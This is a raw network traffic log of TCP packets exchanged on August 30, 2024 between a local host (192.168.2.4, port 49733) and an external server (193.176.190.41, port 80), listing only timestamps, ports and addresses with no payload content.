Aug 30, 2024 18:13:05.551836967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.551843882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.551872015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.552576065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552608013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552619934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552633047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.552659035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.552797079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552809000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552819014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552829981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552839994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552848101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.552860022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.552881002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.552953959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552967072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552977085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552989960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.552999973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.553000927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.553030968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.553041935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.553302050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.553344965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.553347111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.553359032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.553400040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.553462982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.553474903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.553484917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.553530931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.553822041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.554685116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.554737091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.554738045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.554754972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.554779053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.554792881 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.554975986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.554987907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.554999113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555010080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555030107 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555058002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555110931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555121899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555131912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555141926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555160999 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555172920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555227995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555273056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555298090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555306911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555345058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555387020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555398941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555408955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555419922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555434942 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555455923 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555634975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555645943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555656910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555665016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555684090 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555699110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555778980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555790901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555799961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555810928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555823088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.555831909 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555849075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.555862904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.556032896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556044102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556054115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556063890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556073904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556086063 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.556118011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.556274891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556287050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556297064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556308985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556318998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556325912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.556329966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.556348085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.556377888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.632901907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.632915020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.632926941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.632978916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.632991076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.632989883 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633022070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633038998 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633042097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633053064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633085012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633124113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633162975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633301020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633313894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633320093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633335114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633344889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633357048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633358955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633366108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633380890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633400917 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633424044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633625031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633636951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633646965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633658886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633668900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633672953 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633688927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633696079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633699894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633723974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633738995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633898973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633910894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633919954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.633943081 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.633959055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634354115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634402990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634546041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634557009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634567022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634587049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634605885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634685040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634696007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634722948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634746075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634747028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634759903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634769917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634783983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634787083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634795904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634805918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634815931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634843111 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634891033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634902000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634918928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634929895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634934902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634942055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634953976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.634968042 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.634983063 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635006905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635193110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635207891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635217905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635229111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635236025 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635243893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635255098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635282993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635479927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635492086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635502100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635514021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635524035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635524988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635539055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635570049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635746002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635757923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635767937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635777950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635785103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635790110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.635817051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.635840893 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638169050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638184071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638194084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638227940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638240099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638261080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638287067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638290882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638302088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638329983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638345957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638453007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638463020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638498068 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638511896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638549089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638581038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638592005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638612986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638628006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638801098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638811111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638828039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638833046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638839960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.638849974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638865948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.638880968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639228106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639271021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639411926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639421940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639437914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639446020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639447927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639460087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639462948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639482021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639506102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639584064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639596939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639607906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639617920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639632940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639647007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639867067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639875889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639885902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639897108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639904976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639906883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639920950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639924049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.639938116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.639961958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.641608953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641618967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641630888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641645908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.641673088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.641758919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641769886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641779900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641791105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641793013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.641824007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.641927958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641940117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641949892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641958952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641967058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.641968966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641980886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641992092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.641993999 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642002106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642020941 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642035961 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642205954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642216921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642226934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642235994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642245054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642246962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642257929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642271042 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642287016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642334938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642370939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642533064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642544031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642554045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642564058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642571926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642601013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642677069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642688990 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642699003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642709017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642710924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642719030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642729044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642735958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642746925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642765045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642780066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642894983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642905951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642915964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642925978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.642932892 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.642961979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.724324942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724348068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724356890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724380970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.724414110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.724493980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724503994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724519014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724529982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724534035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.724564075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.724701881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724713087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724725008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.724745035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.724759102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.750793934 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.755908012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924770117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924794912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924808025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924851894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.924896002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.924946070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924958944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924968958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924979925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924990892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.924994946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925019026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925038099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925213099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925225019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925239086 CEST	80	49733	193.176.190.41	192.168.2.4
